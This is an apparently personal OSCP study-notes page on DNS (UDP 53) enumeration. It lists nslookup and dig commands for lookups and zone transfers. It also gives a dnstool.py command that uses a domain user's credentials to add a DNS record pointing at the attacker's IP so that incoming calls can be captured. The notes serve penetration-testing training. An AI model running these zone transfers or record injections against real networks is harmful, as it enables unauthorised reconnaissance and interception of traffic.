> For the complete documentation index, see [llms.txt](https://oscp.adot8.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://oscp.adot8.com/services/dns-less-than-udp-53-greater-than.md).

# DNS \<udp 53>

```
nslookup
> server <IP>
> <IP>
```

```
dig axfr adot8.htb @<IP>
```

```
dig +noall +answer -x 127.0.0.1 @192.168.172.148
```

Add a dns entry, and listen for calls on a port&#x20;

```
python dnstool.py -u 'adot8.htb\tiffany -p pwd -r webad0t8.adot8.htb -a add -t A -d <AttackerIP> <DCIP>>
```
